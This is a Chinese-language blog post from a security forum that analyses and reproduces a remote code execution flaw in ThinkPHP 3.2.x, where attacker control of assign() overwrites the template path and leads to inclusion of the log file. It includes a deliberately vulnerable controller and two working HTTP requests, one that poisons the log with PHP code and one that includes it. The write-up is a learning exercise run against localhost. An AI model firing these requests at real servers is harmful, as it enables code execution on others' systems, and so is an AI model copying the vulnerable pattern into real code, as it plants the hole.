前言无意间在最新的漏洞报告中看到关于ThinkPHP3.2.x RCE漏洞通报,最近正好在学习php相关知识,准备闲来无事分析和复现一波。 环境搭建phpstudy+php7.3.4+ThinkPHP3.2.3+windows10…
前言
无意间在最新的漏洞报告中看到关于ThinkPHP3.2.x RCE漏洞通报,最近正好在学习php相关知识,准备闲来无事分析和复现一波。
环境搭建
phpstudy+php7.3.4+ThinkPHP3.2.3+windows10
在\Application\Home\Controller\IndexController.class.php
目录下添加如下代码
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($value=''){
$this->assign($value);
$this->display();
}
}
因为该漏洞利用的assign函数需要模板渲染,所以需要创建对应的模板文件,内容随意,模板文件位置:
\Application\Home\View\Index\index.html
漏洞介绍
该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控
,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。
漏洞分析
文件Application/Home/Controller/IndexController.class.php
assign方法中第一个变量为可控变量。
进入到assign方法中
ThinkPHP/Library/Think/Controller.class.php
实际上调用的是ThinkPHP/Library/Think/View.class.php
中的assign函数,并赋值给$this→tVar
变量。
Controller.class.php
的display调用View.class.php
的display。
跟进fetch
方法,先会判断模板文件是否存在,不存在直接返回。
然后由于系统配置的默认模板引擎为Think,所以走else分支
将$this→tVar
变量值赋值给$params
,此时var为传入的日志路径,file为模板文件的路径。
经过一定处理后将调用Behavior\ParseTemplateBehavior
类中的run
方法处理$params
,而其中储存着带有日志文件路径的值。
进入\ThinkPHP\Library\Behavior\ParseTemplateBehavior.class.php
的run函数。寻找谁继续处理了日志文件路径,发现为ThinkPHP/Library/Think/Template.class.php
的fetch方法,其中$_data[var]
储存了日志文件路径的变量值。
判断$vars
值是否为空,不为空则会以EXTR_OVERWRITE
属性覆盖$_filename
原有的值。最后$_filename
将等于./Application/Runtime/Logs/Common/21_08_23.log
,最后形成文件包含。
漏洞复现
创建log文件
http://127.0.0.1/tp3/index.php?m=--><?=phpinfo();?>
GET /tp3/index.php?m=--><?=phpinfo();?> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=np6v88jt9982el6btpcm998moe
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
包含log文件,注意日志文件名,tp的日志文件名和年月日是相关的。
http://127.0.0.1/tp3/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_08_23.log
后记
该漏洞由(【漏洞通报】ThinkPHP3.2.x RCE漏洞通报)[https://mp.weixin.qq.com/s?__biz=MzAwMjQ2NTQ4Mg==&mid=2247487129&idx=1&sn=3d80cc03e4f03a6bdb2be1611e98957c] 在
今年07月12日率先纰漏,不过看到有大佬说这好像是个老洞,有类似的。不过这都与小弟无关,作为入门新手进行学习。如有错误请师傅们斧正。
- 本文作者: ccYo1
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/546
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!